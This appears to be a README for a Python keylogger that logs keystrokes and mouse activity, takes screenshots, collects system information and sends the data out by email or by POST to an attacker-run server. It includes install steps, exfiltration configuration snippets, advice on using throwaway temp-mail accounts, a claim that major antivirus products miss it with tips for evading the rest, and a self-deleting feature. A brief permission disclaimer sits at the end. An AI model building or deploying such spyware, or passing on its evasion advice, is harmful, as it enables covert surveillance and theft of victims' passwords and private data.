- Keyboard and mouse activity logging
- Screenshot capture
- System information collection
- Two reporting methods:
- Email reporting (
email.py
) - Server reporting (
server.py
)
- Email reporting (
Only 2 antivirus providers detected this script (Google and Sophos) due to system information collection feature of the script. The script is undetected by Kaspersky,McAfee and Windows Defender. To avoid detection by google and sophos, do not use the system information collection feature.
-EMAIL.py
-SERVER.py
- Python 3.7 or higher
- Internet connection
- For email version: SMTP server credentials (e.g., Mailtrap.io account) created using temp-mail.org
- For server version: Access to a web server you have hosted or rented that can receive POST requests
- Install Python from python.org
- Open Command Prompt as administrator and run:
pip install pynput pyscreenshot pillow requests
-
Install Python (if not already installed):
# Using Homebrew brew install python3 # Or download from python.org
-
Install required packages:
pip3 install pynput pyscreenshot pillow requests
-
Grant Accessibility permissions:
- Go to System Preferences > Security & Privacy > Privacy > Accessibility
- Add Terminal (or your IDE) to the list of allowed apps
- This is required for keyboard monitoring
- Install Python and required system dependencies:
sudo apt-get update
sudo apt-get install python3 python3-pip python3-tk python3-dev scrot
- Install Python packages:
pip3 install pynput pyscreenshot pillow requests
- Visit mailtrap.io and click "Sign Up"
- Choose "Sign up with email" ,you can use temperary email from temp-mail.org
- Once logged in, go to "Email Testing" → "Inboxes"
- In your inbox, find the SMTP credentials: -Click on "Show Credentials" -Use the provided username and password in your configuration -Use the SMTP server settings provided
-
Open
email.py
in a text editor -
Configure the email settings:
EMAIL_ADDRESS = "YOUR_USERNAME" # Your SMTP username EMAIL_PASSWORD = "YOUR_PASSWORD" # Your SMTP password SEND_REPORT_EVERY = 60 # Report interval in seconds
-
if you face issues running the default then Update SMTP server settings in the
send_email()
method:server = smtplib.SMTP("smtp.mailtrap.io", 2525) # Change to your SMTP server and port
-
Open
server.py
in a text editor -
Configure the server settings:
ip_address = "YOUR_SERVER_IP" # Your server IP address port_number = "YOUR_SERVER_PORT" # Your server port SERVER_URL = f"http://{ip_address}:{port_number}"
-
The server should be configured to accept POST requests with JSON data containing:
- timestamp
- system_info
- logs
- screenshot (base64 encoded)
# Windows
python email.py
# Linux
python3 email.py
# macOS
python3 email.py
# Windows
python server.py
# Linux
python3 server.py
# macOS
python3 server.py
Press Ctrl+C
to stop the script. The script will automatically remove itself after termination.
open it after running and it will terminate itself.
- pynput: For keyboard and mouse monitoring
- pyscreenshot: For taking screenshots
- pillow: Image processing
- requests (server version only): For HTTP requests
- Always use strong, unique passwords for email accounts and server authentication
- Use test/dummy accounts and servers for testing
- Never use this tool on systems without explicit permission
- Keep the script and logs secure to prevent unauthorized access
- For server version, use HTTPS for secure data transmission
Find the license LICENSE